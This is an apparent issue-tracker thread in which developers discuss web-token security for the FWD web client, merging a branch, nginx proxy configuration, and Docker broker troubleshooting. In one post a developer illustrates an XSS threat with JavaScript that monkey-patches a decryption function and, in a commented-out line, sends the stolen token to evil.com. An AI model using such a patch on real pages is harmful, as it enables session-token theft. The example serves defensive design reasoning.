Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
Hynek Cihlar wrote:
To make the process more secure it is important to implement some measures to prevent a potential XSS attacker or a malicious browser plugin to steal the token and misuse it. Please see point 2 in #9709-411.
Which data your proposed schema should defend? I think that XSS attacker cannot read the private field in the memory. Why do you think that these attacks are possible for the private field? Why do you consider the case when the js web client host is compromised. The current secure cookies are not secure in this sense.
While an XSS attacker can't read the private field directly she could "patch" the relevant functions when the key is passed around. Secure cookies are safe as the browser won't allow JS to read the cookie.
What should be patched? The web socket object is also private.
#435 Updated by Sergey Ivanovskiy 6 months ago
I think that XSS attacks cannot reach the target aim to steal the secret key in 9709b case.
#436 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
What should be patched? The web socket object is also private.
See the example:
(function() {
// 1. Save the original function
const originalDecrypt = p2j.decryptApiTokenValue;
// 2. Overwrite ('Monkey Patch') the function on the public object
p2j.decryptApiTokenValue = async function() {
// 3. Call the original function to let it do the hard work
// (using the 'private' keys you thought were safe)
const result = await originalDecrypt.apply(this, arguments);
// 4. Steal the result!
// You just did the decryption for me using your private key.
console.log("Stolen Decrypted Token:", result);
// Send it to my evil server
// fetch('https://evil.com/steal?token=' + encodeURIComponent(result));
// 5. Return the result so the app continues working normally
// (the user sees nothing wrong)
return result;
};
})();
#437 Updated by Sergey Ivanovskiy 6 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
What should be patched? The web socket object is also private.
See the example:
[...]
It is not an issue because the code could use private functions and decryptApiTokenValue can be private.
You found that the current code uses the public function that can be fixed. XSS is not an issue for the secret key stored in the memory.
#438 Updated by Sergey Ivanovskiy 6 months ago
Greg, I would like to split 9709b to 9709c that was reviewed up to rev. 16361 (9709b) and merge this version into the trunk. This gives the broker configuration works under the web reverse proxy server.
I can prepare this version within an hour or less depending on the uploading speed.
#439 Updated by Sergey Ivanovskiy 6 months ago
- File 9709c.patch
added
This path can be merged because it was passed the review. The secure cookie is STRICT and AuthHandler not changed.
#440 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
You found that the current code uses the public function that can be fixed. XSS is not an issue for the secret key stored in the memory.
This was just an example. The malicious code could replace any other suitable function, like p2j.init() or even the standard functions like fetch(). Eventually the key must be delivered to the point where the token is decrypted. That is why there are standards like CSP to protect the JS execution.
#441 Updated by Sergey Ivanovskiy 6 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
You found that the current code uses the public function that can be fixed. XSS is not an issue for the secret key stored in the memory.
This was just an example. The malicious code could replace any other suitable function, like
p2j.init()or even the standard functions likefetch(). Eventually the key must be delivered to the point where the token is decrypted. That is why there are standards like CSP to protect the JS execution.
OK
#442 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Hynek Cihlar wrote:
This was just an example. The malicious code could replace any other suitable function, like
p2j.init()or even the standard functions likefetch(). Eventually the key must be delivered to the point where the token is decrypted. That is why there are standards like CSP to protect the JS execution.OK
Btw. this is a general problem. The code must be protected with CSP regardless whether the token is encrypted or not. You either have to protect the decryption key or the token itself.
#443 Updated by Sergey Ivanovskiy 6 months ago
Sergey Ivanovskiy wrote:
This patch 9709c.patch can be merged because it was passed the review. The secure cookie is STRICT and AuthHandler not changed.
Hynek, could we merge this part to fix broker configuration spawn process. The other part can be developed in 9709d because 9709b is in the dead state.
#444 Updated by Sergey Ivanovskiy 6 months ago
Created 9709c rev 16369. Please review these code again. I would like to merge this branch into the trunk.
#445 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Created 9709c rev 16369. Please review these code again. I would like to merge this branch into the trunk.
I'm on it.
#446 Updated by Hynek Cihlar 6 months ago
- Status changed from Review to Internal Test
Code review 9709c.
The changes look fine. Just two minor points.
The cast (WebClientBuilder) clientBuilder) in updateWebClientOptions looks redundant, the parent class already declares getParams.
Some line lengths exceed the max 110 chars.
Please go ahead with regression testing.
#447 Updated by Sergey Ivanovskiy 6 months ago
((WebClientBuilder) clientBuilder).getParams() returns WebClientBuilderParameters, but clientBuilder.getParams() returns ClientBuilderParameters that does not define updateOptions.
This code looks more clear:
((WebClientBuilderParameters) clientBuilder.getParams()).updateOptions(allocatedResources);
#448 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
((WebClientBuilder) clientBuilder).getParams()returnsWebClientBuilderParameters, butclientBuilder.getParams()returnsClientBuilderParametersthat does not defineupdateOptions.
This code looks more clear:
OK, looks good.
#449 Updated by Sergey Ivanovskiy 6 months ago
For testing 9709c I need to use the web reverse proxy server. These settings for nginx used for the local setup of the large customer project requires adjustment to point to the cross-site container host on which the web client is spawned by the broker - just change the ip address in the site config me.zapto.org
Show
and nginx.conf
and /etc/hosts
127.0.0.1 localhost me.zapto.org .................
and
deploy/server/hosts.txt (server side - not the broker host)192.168.0.62 1 192.168.0.63 2 127.0.0.1 3 localhost 3 192.168.0.94 3
and
deploy/server/directory.xml (server side - not the broker host) includes these settings
<node class="container" name="portsRange">
<node class="string" name="namePrefix">
<node-attribute name="value" value="client"/>
</node>
<node class="string" name="forwardedProto">
<node-attribute name="value" value="https"/>
</node>
<node class="string" name="forwardedHost">
<node-attribute name="value" value="me.zapto.org"/>
</node>
<node class="integer" name="from">
<node-attribute name="value" value="7449"/>
</node>
<node class="integer" name="to">
<node-attribute name="value" value="7459"/>
</node>
</node>
#450 Updated by Sergey Ivanovskiy 6 months ago
Hynek, the js web client loads modules p2j.js, p2j.screen.js and so on. Should these modules be all private and communicate only with help of postMessage API? Can these changes affect the web client performance if we will apply them?
#451 Updated by Sergey Ivanovskiy 6 months ago
9709c passed tests with nginx proxy server. Could this 9709c rev 16371 be merged into the trunk?
#452 Updated by Sergey Ivanovskiy 6 months ago
I updated #9709-449 to show environment settings.
#453 Updated by Sergey Ivanovskiy 6 months ago
Nginx has the simple configuration that is due to the customer developed this config. The new broker host ip address should be added to host.txt file with new prefix number
192.168.0.62 1 192.168.0.63 2 localhost 3 192.168.0.94 3 127.0.0.1 3
and
nginx.conf must have
map $request_uri $target_upstream {
~^/proxy/client1(.*) 192.168.0.62; # broker host 1
~^/proxy/client2(.*) 192.168.0.63; # broker host 2
~^/proxy/client3(.*) 192.168.0.94; # spawned locally if brokers are disconnected
}
map $request_uri $new_upstream_port {
~^/proxy/client11/(.*)$ 7449;
~^/proxy/client12/(.*)$ 7450;
~^/proxy/client13/(.*)$ 7451;
~^/proxy/client14/(.*)$ 7452;
~^/proxy/client15/(.*)$ 7453;
~^/proxy/client16/(.*)$ 7454;
~^/proxy/client17/(.*)$ 7455;
~^/proxy/client18/(.*)$ 7456;
~^/proxy/client19/(.*)$ 7457;
~^/proxy/client110/(.*)$ 7458;
~^/proxy/client111/(.*)$ 7459;
~^/proxy/client21/(.*)$ 7449;
~^/proxy/client22/(.*)$ 7450;
~^/proxy/client23/(.*)$ 7451;
~^/proxy/client24/(.*)$ 7452;
~^/proxy/client25/(.*)$ 7453;
~^/proxy/client26/(.*)$ 7454;
~^/proxy/client27/(.*)$ 7455;
~^/proxy/client28/(.*)$ 7456;
~^/proxy/client29/(.*)$ 7457;
~^/proxy/client210/(.*)$ 7458;
~^/proxy/client211/(.*)$ 7459;
~^/proxy/client31/(.*)$ 7449;
~^/proxy/client32/(.*)$ 7450;
~^/proxy/client33/(.*)$ 7451;
~^/proxy/client34/(.*)$ 7452;
~^/proxy/client35/(.*)$ 7453;
~^/proxy/client36/(.*)$ 7454;
~^/proxy/client37/(.*)$ 7455;
~^/proxy/client38/(.*)$ 7456;
~^/proxy/client39/(.*)$ 7457;
~^/proxy/client310/(.*)$ 7458;
~^/proxy/client311/(.*)$ 7459;
}
but the site config
me.zapto.org must have
set $upstream https://$target_upstream:$new_upstream_port;
rewrite ^/proxy/client([^/]*)(/.*) $2 break; # remove /proxy/client
#454 Updated by Sergey Ivanovskiy 6 months ago
Could 9709c be merged into the trunk? It passed tests and changes are safe.
#456 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Hynek, the js web client loads modules
p2j.js,p2j.screen.jsand so on. Should these modules be all private and communicate only with help ofpostMessageAPI? Can these changes affect the web client performance if we will apply them?
Yes, there would be a significant performance penalty. The arguments passed to postMessage would need to be serialized. Also postMessage is asynchronous, this by itself would add some latency. Beside the performance, this would require some significant structural changes to adapt to the asynchronous model of postMessage.
#457 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Could 9709c be merged into the trunk? It passed tests and changes are safe.
Trunk is currently frozen. I will let you know when it is good time.
#458 Updated by Hynek Cihlar 6 months ago
#460 Updated by Roger Borrello 6 months ago
Sergey, my customer's configuration is almost exactly the same as the hotel configuration, which is working. But the broker is logging:
26/01/28 18:45:29.206-0500 | SEVERE | com.goldencode.p2j.main.BrokerCore [com.goldencode.p2j.main.BrokerCore.initialize()] | ThreadName:main | remote:agent:host=cactbrk1 should be configured as a network host name or IP address
26/01/28 18:45:29.296-0500 | INFO | com.goldencode.p2j.main.BrokerCore [BrokerCore.start()] | ThreadName:main | Connecting (9) ...
26/01/28 18:45:29.310-0500 | SEVERE | com.goldencode.p2j.main.BrokerCore [BrokerCore.connect()] | ThreadName:main | Connection Exception.
java.net.ConnectException: Connection refused
at java.base/sun.nio.ch.Net.connect0(Native Method)
at java.base/sun.nio.ch.Net.connect(Net.java:579)
at java.base/sun.nio.ch.Net.connect(Net.java:568)
at java.base/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:593)
at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:327)
at java.base/java.net.Socket.connect(Socket.java:633)
at java.base/java.net.Socket.connect(Socket.java:583)
at com.goldencode.p2j.net.SessionManager.connect(SessionManager.java:1268)
at com.goldencode.p2j.net.SessionManager.createQueue(SessionManager.java:1176)
at com.goldencode.p2j.net.LeafSessionManager.connectDirect(LeafSessionManager.java:256)
at com.goldencode.p2j.main.BrokerCore.connect(BrokerCore.java:552)
at com.goldencode.p2j.main.BrokerCore.start(BrokerCore.java:234)
at com.goldencode.p2j.main.ClientDriver.start(ClientDriver.java:283)
at com.goldencode.p2j.main.CommonDriver.process(CommonDriver.java:522)
at com.goldencode.p2j.main.ClientDriver.process(ClientDriver.java:173)
at com.goldencode.p2j.main.ClientDriver.main(ClientDriver.java:347)
The cactbrk1 is the remote:agent in the client.xml, and is also the hostname in the docker compose yaml. This is how I also do it for hotel (except I am using hotelbrk in that application). Any clues you might have as to what might cause that log? I have also configured with the IP address (192.168.2.52) and get the same log.
#461 Updated by Sergey Ivanovskiy 6 months ago
Roger, this should be the network configuration issue. This exception
26/01/28 18:45:29.206-0500 | SEVERE | com.goldencode.p2j.main.BrokerCore [com.goldencode.p2j.main.BrokerCore.initialize()] | ThreadName:main | remote:agent:host=cactbrk1 should be configured as a network host name or IP address
is thrown by this code
if (Utils.isValidHostNameOrIpAddress(dedicatedHost))
{
LOG.logp(Level.SEVERE,
BrokerCore.class.getName(),
"initialize",
"remote:agent:host=" + dedicatedHost + " should be configured as a network host name or IP address");
}
that is
public static boolean isValidHostNameOrIpAddress(String host)
{
try
{
InetAddress addr = InetAddress.getByName(host);
if (addr.isLoopbackAddress() || addr.isAnyLocalAddress())
{
return false;
}
return NetworkInterface.getByInetAddress(addr) != null;
}
catch(Throwable e)
{
return false;
}
}
Does this host name
cactbrk1 represent the network address in respect to this broker client host?#462 Updated by Sergey Ivanovskiy 6 months ago
Your network configuration resolves your host name as loop back address or fails to resolve this host name
if (addr.isLoopbackAddress() || addr.isAnyLocalAddress())
{
return false;
}
#463 Updated by Sergey Ivanovskiy 6 months ago
Roger, what is the FWD version for your test environment? 9709b?
Are these instructions #9709-362 valid for hotel_gui testing with docker containers?
#464 Updated by Sergey Ivanovskiy 6 months ago
Roger, did you try to configure /etc/hosts file for each container?
192.168.2.52 cactbrk1
#465 Updated by Roger Borrello 6 months ago
Thanks for the clues, Sergey. One of the difficulties is the Docker image is very thin and without even the simplest tool like ip to determine lower level setup, and it takes a bit to update with tools for determination.
I'll fill in the details when I get to them.
The docker compose file has:
hotel_broker1:
image: hotel_gui_client:latest
container_name: hotel_broker1
hostname: hotelbrk1
...
I need to make sure the 'container_name' or 'hostname' is the proper one for configuration. It seems in some instances one is correct, and in others the other.
Sergey Ivanovskiy wrote:
Roger, what is the FWD version for your test environment? 9709b?
I am using 9709b_16379
Are these instructions #9709-362 valid for hotel_gui testing with docker containers?
Mostly... I am using a new configuration that allows the broker to work in one "all-in-one" container, which is in revision 424. The revised steps...
- Add the macvlan and allow your host to connect (set your subnet, gateway, and parent accordingly)
docker network create -d macvlan --subnet=192.168.2.0/24 --gateway=192.168.2.1 -o parent=eth1 corp_lan sudo ip addr add 192.168.2.10/24 dev corp_lan_host sudo ip link set corp_lan_host up sudo ip route add 192.168.2.0/24 dev corp_lan_host
- Prepare the directory
CFG_FILE=prepare_dir_pg_broker_allinone.json docker compose -f docker-compose_prepare.yml up Ctrl-C when done docker compose -f docker-compose_prepare.yml down
- Import the database (skip if your database is OK)
docker compose -f docker-compose_import.yml up Ctrl-C when done docker compose -f docker-compose_import.yml down
- Start the Broker Configuration
docker compose -f docker-compose_broker_allinone.yml up
At this point, you should be able to connect to https://hotelsrv:7443/gui to connect.
This had been working for me. So when I moved to the customer application, I expected the same, but not.
#466 Updated by Sergey Ivanovskiy 6 months ago
- File TestHost.java
added
I did not test 9709b_16379 with cact because no local setup at this moment but tested with the different large application. I would like to release only 9709c that was tested with Nginx (#9709-449, #9709-453).
One of the difficulties is the Docker image is very thin and without even the simplest tool like ip to determine lower level setup, and it takes a bit to update with tools for determination.
You could run java program to test host name.
#467 Updated by Roger Borrello 6 months ago
- File TestHost.java
added
Sergey Ivanovskiy wrote:
You could run java program to test host name.
Excellent... now I'm confused more. The results are the same passing the hostname and container name.
On hotel:
fwd@hotelbrk1:/opt/hotel/etc$ java test.TestHost hotelbrk1 hotel_broker1 host = hotelbrk1 addr = hotelbrk1/192.168.2.52, loopback=false, wildcard_address=false nic = name:eth0 (eth0), loopback=false, virtual=false, up=true, mtu=1500, had=d6e54692b8b9 host = hotel_broker1 addr = hotel_broker1/192.168.2.52, loopback=false, wildcard_address=false nic = name:eth0 (eth0), loopback=false, virtual=false, up=true, mtu=1500, had=d6e54692b8b9
On cact:
fwd@cactbrk1:/opt/cact/etc$ java test.TestHost cactbrk1 cact_broker1 host = cactbrk1 addr = cactbrk1/192.168.2.52, loopback=false, wildcard_address=false nic = name:eth0 (eth0), loopback=false, virtual=false, up=true, mtu=1500, had=12f6cfb4600b host = cact_broker1 addr = cact_broker1/192.168.2.52, loopback=false, wildcard_address=false nic = name:eth0 (eth0), loopback=false, virtual=false, up=true, mtu=1500, had=12f6cfb4600b
I added the valid check from your utility function, and it returned true for the cact tests:
fwd@cactbrk1:/opt/cact/etc$ java test.TestHost cactbrk1 cact_broker1 host = cactbrk1 valid = true addr = cactbrk1/192.168.2.52, loopback=false, wildcard_address=false nic = name:eth0 (eth0), loopback=false, virtual=false, up=true, mtu=1500, had=12f6cfb4600b host = cact_broker1 valid = true addr = cact_broker1/192.168.2.52, loopback=false, wildcard_address=false nic = name:eth0 (eth0), loopback=false, virtual=false, up=true, mtu=1500, had=12f6cfb4600
So I'm not sure why it fails in the broker.
#468 Updated by Sergey Ivanovskiy 6 months ago
I found that the target code probably should be
if (!Utils.isValidHostNameOrIpAddress(dedicatedHost))
{
LOG.logp(Level.SEVERE,
BrokerCore.class.getName(),
"initialize",
"remote:agent:host=" + dedicatedHost + " should be configured as a network host name or IP address");
}
So this is not an issue taking into account that this is just a message, the program flow continues its execution. Sorry for false alarm. The issue as you described is that the broker client cannot connect to the running server, correct?
#469 Updated by Sergey Ivanovskiy 6 months ago
Fixed erroneous code in rev 16372(9709c) and rev 16380(9709b).
#470 Updated by Sergey Ivanovskiy 6 months ago
#9709-460 looks like a configuration issue because client connection is refused.
#471 Updated by Sergey Ivanovskiy 6 months ago
You could compare directory.xml of hotel_gui and cact if this is possible and check the bootstrap client configuration because in your log the next severe exception is thrown by
private static void connect(SessionManager sessMgr, BootstrapConfig cfg)
{
Session session = null;
try
{
// establish a secure connection with the remote P2J server
session = sessMgr.connectDirect(cfg, null, createSessionListener()); // throws exception
#472 Updated by Roger Borrello 6 months ago
- File 9709_cact_app_servers.png added
Sergey Ivanovskiy wrote:
#9709-460 looks like a configuration issue because client connection is refused.
It is very possible, because the server log is rejecting the connection with socket is closed:
26/01/29 12:23:53.242-0500 | WARNING | com.goldencode.p2j.net.RouterSessionManager [Incoming.run()] | ThreadName:Incoming SSL Connector#8 | initialization failure java.net.SocketException: Socket is closed at java.base/sun.security.ssl.SSLSocketImpl.getOutputStream(SSLSocketImpl.java:1238) at com.goldencode.p2j.net.NetSocketWrapper.<init>(NetSocketWrapper.java:129) at com.goldencode.p2j.net.NetSocket$1.create(NetSocket.java:117) at com.goldencode.p2j.net.RouterSessionManager$Incoming.run(RouterSessionManager.java:1590) at java.base/java.lang.Thread.run(Thread.java:840) 26/01/29 12:23:57.352-0500 | INFO | com.goldencode.p2j.util.AppServerLauncher | ThreadName:pool-4-thread-1 | Agent for appserver 'cactAS1' was started successfully (10433ms)! 26/01/29 12:23:57.354-0500 | INFO | com.goldencode.p2j.util.AppServerLauncher | ThreadName:pool-3-thread-1 | Agent for appserver 'mobAS1' was started successfully (10435ms)! 26/01/29 12:24:03.261-0500 | WARNING | com.goldencode.p2j.net.RouterSessionManager [Incoming.run()] | ThreadName:Incoming SSL Connector#9 | initialization failure java.net.SocketException: Socket is closed at java.base/sun.security.ssl.SSLSocketImpl.getOutputStream(SSLSocketImpl.java:1238) at com.goldencode.p2j.net.NetSocketWrapper.<init>(NetSocketWrapper.java:129) at com.goldencode.p2j.net.NetSocket$1.create(NetSocket.java:117) at com.goldencode.p2j.net.RouterSessionManager$Incoming.run(RouterSessionManager.java:1590) at java.base/java.lang.Thread.run(Thread.java:840) 26/01/29 12:24:13.281-0500 | WARNING | com.goldencode.p2j.net.RouterSessionManager [Incoming.run()] | ThreadName:Incoming SSL Connector#10 | initialization failure java.net.SocketException: Socket is closed at java.base/sun.security.ssl.SSLSocketImpl.getOutputStream(SSLSocketImpl.java:1238) at com.goldencode.p2j.net.NetSocketWrapper.<init>(NetSocketWrapper.java:129) at com.goldencode.p2j.net.NetSocket$1.create(NetSocket.java:117) at com.goldencode.p2j.net.RouterSessionManager$Incoming.run(RouterSessionManager.java:1590) at java.base/java.lang.Thread.run(Thread.java:840)
The main difference is also that there are AppServers connecting locally at the server to the 3333 port:
Could that be causing a problem with a remote client connecting?
#473 Updated by Hynek Cihlar 6 months ago
- Status changed from Internal Test to Merge Pending
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
Could 9709c be merged into the trunk? It passed tests and changes are safe.
Trunk is currently frozen. I will let you know when it is good time.
Sergey, please merge 9709c to trunk.
#474 Updated by Sergey Ivanovskiy 6 months ago
OK. Preparing 9709c to merge.
9709 web token design to go farther
Hynek, you proposed to create session short-lived authentication/access web tokens that should be generated from the main web page on the client side, posted securely postMessage to the main iframe page, correct? Thus the java web client side can get these tokens only with the client cookie that is not secure, correct?
#475 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Hynek, you proposed to create session short-lived authentication/access web tokens that should be generated from the main web page on the client side, posted securely
postMessageto the main iframe page, correct? Thus the java web client side can get these tokens only with the client cookie that is not secure, correct?
The idea is the main (root) frame/page should refresh the token from FWD server as it has a httponly session cookie with it. Then it passes the refreshed token to the client via postMessage.
#476 Updated by Sergey Ivanovskiy 6 months ago
- Status changed from Merge Pending to WIP
Branch 9709c was merged into trunk as rev. 16370 and archived. Changed status to WIP to complete the task.
#477 Updated by Sergey Ivanovskiy 6 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
Hynek, you proposed to create session short-lived authentication/access web tokens that should be generated from the main web page on the client side, posted securely
postMessageto the main iframe page, correct? Thus the java web client side can get these tokens only with the client cookie that is not secure, correct?The idea is the main (root) frame/page should refresh the token from FWD server as it has a httponly session cookie with it. Then it passes the refreshed token to the client via
postMessage.
This idea should work. Did you mean that new refreshed token must be received via GET or POST method?
#478 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Hynek Cihlar wrote:
The idea is the main (root) frame/page should refresh the token from FWD server as it has a httponly session cookie with it. Then it passes the refreshed token to the client via
postMessage.This idea should work. Did you mean that new refreshed token must be received via GET or POST method?
I guess GET would be fine with fetch.
#479 Updated by Sergey Ivanovskiy 6 months ago
I would like to detail this part because the secure cookie was not set for the main iframe page for the reasons specified in #9709-289.
This cookie is provided by the web client (AuthHandler) at the moment of redirect:
try
{
if (httpRequest.status === 200)
{
if (httpRequest.responseText)
{
const responseJson = JSON.parse(httpRequest.responseText);
const launchedClientOrigin = new URL(responseJson.url).origin;
window.top.postMessage(
{ origin: launchedClientOrigin, storageId: responseJson.storageId },
window.top.location.origin);
window.location.assign(responseJson.url); /// the web client (AuthHandler) sets secure cookie in exchange to the given secret token
}
}
else
{
showError(httpRequest.responseText ? httpRequest.responseText : MSG_SDK_DEFAULT_REQUEST_ERROR);
}
}
catch (ex)
{
isProcessingLoginRequest = false;
showError(ex && Object.keys(ex).length > 0 ? JSON.stringify(ex) : MSG_SDK_DEFAULT_REQUEST_ERROR);
}
};
httpRequest.open('POST', window.top.location.href);
httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
httpRequest.responseType = 'text';
httpRequest.send(body ?? 'usr=' + encodeURIComponent(usernameNode.value) +
'&psw=' + encodeURIComponent(passwordNode.value) +
(theme ? '&theme=' + encodeURIComponent(theme) : ''));
as the result on the redirect but not on the POST authentication request. So the web client (AuthHandler) sets the secure cookie in exchange to the given secret token. This https POST request is given from the main iframe of the top main page. The login form is injected to this iframe from the same web server host that is the top main page.
#480 Updated by Sergey Ivanovskiy 6 months ago
9709b just rebased up to rev 16397.
#481 Updated by Roger Borrello 6 months ago
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
#9709-460 looks like a configuration issue because client connection is refused.
It is very possible, because the server log is rejecting the connection with socket is closed:
The srv-certs.store was not in the correct location:
INFO: Spawn process started with pid 251. INFO: The password length(data read): 120(3). INFO: Check user account for: fwd. INFO: The password is not null. INFO: GetSPNam not null, used password from structure. INFO: Attempt to use login with password. INFO: Passwords comparison result: 0. INFO: Spawn cmd (java) in workdir (/usr/c-act). INFO: Spawn result code: (0). INFO: Forked. Working directory (/usr/c-act) does not exist. SEVERE: -20 method:stat(expanded_workdir)
I can move off this now. There is clearly some configuration items the broker client is expecting. Note the directory structure. I am working off a pretty blank slate on this broker client, expecting to work from this point forward.
#482 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
I would like to detail this part because the secure cookie was not set for the main iframe page for the reasons specified in #9709-289.
This cookie is provided by the web client (AuthHandler) at the moment of redirect:
as the result on the redirect but not on the POST authentication request. So the web client (AuthHandler) sets the secure cookie in exchange to the given secret token. This https POST request is given from the main iframe of the top main page. The login form is injected to this iframe from the same web server host that is the top main page.
Yes, the system login is sent to FWD server, on successfull authorization the top page assigns src of the main-iframe, which targets FWD client. The cookie sent in the response to the main-iframe src assigned is what was the issue, the browser denied storing the cookie.
#483 Updated by Sergey Ivanovskiy 6 months ago
Hynek Cihlar wrote:
Sergey Ivanovskiy wrote:
I would like to detail this part because the secure cookie was not set for the main iframe page for the reasons specified in #9709-289.
This cookie is provided by the web client (AuthHandler) at the moment of redirect:
as the result on the redirect but not on the POST authentication request. So the web client (AuthHandler) sets the secure cookie in exchange to the given secret token. This https POST request is given from the main iframe of the top main page. The login form is injected to this iframe from the same web server host that is the top main page.Yes, the system login is sent to FWD server, on successfull authorization the top page assigns src of the main-iframe, which targets FWD client. The cookie sent in the response to the main-iframe src assigned is what was the issue, the browser denied storing the cookie.
It seems that the browser did not add the secure cookie to the fetch request to the web tokens server so the web server that manages the top page or the web client web server should not get the secure cookie, correct?
#484 Updated by Sergey Ivanovskiy 6 months ago
The only working schema can be that the web server that handled the login page creates authentication cookie on respond with spawned url. This authentication cookie is used by the top page to authenticate itself on the server and server requests the web token from the spawned web client and returns it on fetch request to the main top page. Did you mean this schema?
#485 Updated by Greg Shah 6 months ago
Roger Borrello wrote:
Roger Borrello wrote:
Sergey Ivanovskiy wrote:
#9709-460 looks like a configuration issue because client connection is refused.
It is very possible, because the server log is rejecting the connection with socket is closed:
The
srv-certs.storewas not in the correct location:
[...]I can move off this now. There is clearly some configuration items the broker client is expecting. Note the directory structure. I am working off a pretty blank slate on this broker client, expecting to work from this point forward.
Roger: I'm expecting you to keep detailed notes AND for you to make edits to our documentation.
#486 Updated by Sergey Ivanovskiy 6 months ago
Hynek, could you help with FWD API to call the client api from the server side on behalf of the authenticated user that spawned the client? It seems that you did the similar tasks for the web administration application.
#487 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
Hynek, could you help with FWD API to call the client api from the server side on behalf of the authenticated user that spawned the client? It seems that you did the similar tasks for the web administration application.
I can try. What info do you have to match the user session from the server? Only the token to be refreshed or anything else?
#488 Updated by Sergey Ivanovskiy 6 months ago
I can have only the spawner id, WebDriverHandler.handleStartClientRequest if WebDriverHandler.spawnWorker was successful.
#489 Updated by Sergey Ivanovskiy 6 months ago
WebDriverHandler.CLIENT_UUID_RELATED_SESSION_ID_PAIRS is also available.
#490 Updated by Hynek Cihlar 6 months ago
Sergey, for the token refresh you will need some kind of request handler that will handle the token refresh request from the js side. The request handler will need to establish the security context so that it can call the client to ask for new token:
sm.contextSm.setUniqueInitialSecurityContext();
sm.contextSm.pushAndSwitchSecurityContextBySessionId(sessionId);
try
{
// do the work
}
finally
{
sm.contextSm.popAndRestoreSecurityContext();
sm.contextSm.dropInitialSecurityContext();
}
See how this is done in AuthFilter.
The session id passed to pushAndSwitchSecurityContextBySessionId is the SecuritySession established by the client after it is spawned by the server. You can put this id in the http session and retrieve it whenever needed for the token refresh later.
To add the SecuritySession id in the http session, you first need to remember the http session id in WebDriverHander.spawnWorker using the client uuid (similarly as CLIENT_UUID_LOGIN_PARAMS and the other maps). Then in StandardServer.setupSession where the security session is established you dig out the http session from inside Jetty using the stored http session id and you put the security session id in the http session.
Constantin, did I miss anything? Is there a better way?
#491 Updated by Constantin Asofiei 6 months ago
Sergey/Hynek: I understand that this will be executed on the FWD server, but from what thread? If you switch the context and after that you call a network export, then the thread doing the request must be marked as async. See SessionManager.registerAsyncThread usage. And deregistered after it finished the call.
Otherwise, an example is in MultiSessionAppserverSecurityManager.setContext which relies on the ContextSwitcher to set the context. You can also look at LegacyWebSecurityManager.executeInContext.
But the most important part is: if you execute the call from another thread than Conversation, then the thread must be marked as async.
#492 Updated by Hynek Cihlar 6 months ago
Constantin Asofiei wrote:
Sergey/Hynek: I understand that this will be executed on the FWD server, but from what thread? If you switch the context and after that you call a network export, then the thread doing the request must be marked as async. See
SessionManager.registerAsyncThreadusage. And deregistered after it finished the call.
Thanks for the input. Yes, this won't be the Conversation thread. The token refresh will happen in one of the Jetty's worker threads.
#493 Updated by Sergey Ivanovskiy 6 months ago
Hynek Cihlar wrote:
Sergey, for the token refresh you will need some kind of request handler that will handle the token refresh request from the js side. The request handler will need to establish the security context so that it can call the client to ask for new token:
[...]See how this is done in
AuthFilter.The session id passed to
pushAndSwitchSecurityContextBySessionIdis theSecuritySessionestablished by the client after it is spawned by the server. You can put this id in the http session and retrieve it whenever needed for the token refresh later.To add the
SecuritySessionid in the http session, you first need to remember the http session id inWebDriverHander.spawnWorkerusing the client uuid (similarly asCLIENT_UUID_LOGIN_PARAMSand the other maps). Then inStandardServer.setupSessionwhere the security session is established you dig out the http session from inside Jetty using the stored http session id and you put the security session id in the http session.
In AuthFilter HttpSession.this.getId() is used for SecuritySession. This id must be unique for the server, correct?
#494 Updated by Hynek Cihlar 6 months ago
Sergey Ivanovskiy wrote:
In
AuthFilterHttpSession.this.getId()is used forSecuritySession. This id must be unique for the server, correct?
Yes, this is a unique http session for the server.
#495 Updated by Sergey Ivanovskiy 6 months ago
Thank you, could I use http sessions listener to track http sessions by their ids and access them from the code?
#496 Updated by Sergey Ivanovskiy 6 months ago
I observed that if one browser policy is enabled, then the client sessions (InitTermListener) are tracked by WebSessionListener. Where can the documentation of usages of this policy be found?
Can this StandardServer.setupSession setup be replaced by client sessions listener InitTermListener?
#497 Updated by Sergey Ivanovskiy 6 months ago
I confused because the code of WebDriverHander uses
/** Pairs of session id : ClientExports network interface. */
private static final Map<String, WeakReference<ClientExports>> sessionIdClientPairs =
new ConcurrentHashMap<>();
if one browser policy is enabled. This map can give a client interface and this can be invoked in the correct security context from the async thread (
AssociatedThread), correct? Is this idea that Constantin shared in #9709-491?#498 Updated by Hynek Cihlar 6 months ago
sessionIdClientPairs holds P2J security sessions, not the http sessions. You get the HttpSession from the request object when handling the http request for the token refresh. You can store the p2j security session id in the http session during the initial setup when the system loggin is handled on the server.
#499 Updated by Sergey Ivanovskiy 6 months ago
Hynek Cihlar wrote:
sessionIdClientPairsholds P2J security sessions, not the http sessions. You get the HttpSession from the request object when handling the http request for the token refresh. You can store the p2j security session id in the http session during the initial setup when the system loggin is handled on the server.
Yes, I understand that these ones are security sessions.
#500 Updated by Sergey Ivanovskiy 6 months ago
Hynek Cihlar wrote:
sessionIdClientPairsholds P2J security sessions, not the http sessions. You get the HttpSession from the request object when handling the http request for the token refresh. You can store the p2j security session id in the http session during the initial setup when the system loggin is handled on the server.
OK, thus at StandardServer.setupSession I should get http session by spawner id from WebDriverHander static instance and set up the security client id for this session. The next step to implement is that if the new request for the web token is authorized, then the security session id should be retrieved from the session
to setup the security context for async thread and the async thread should make a request to the client using
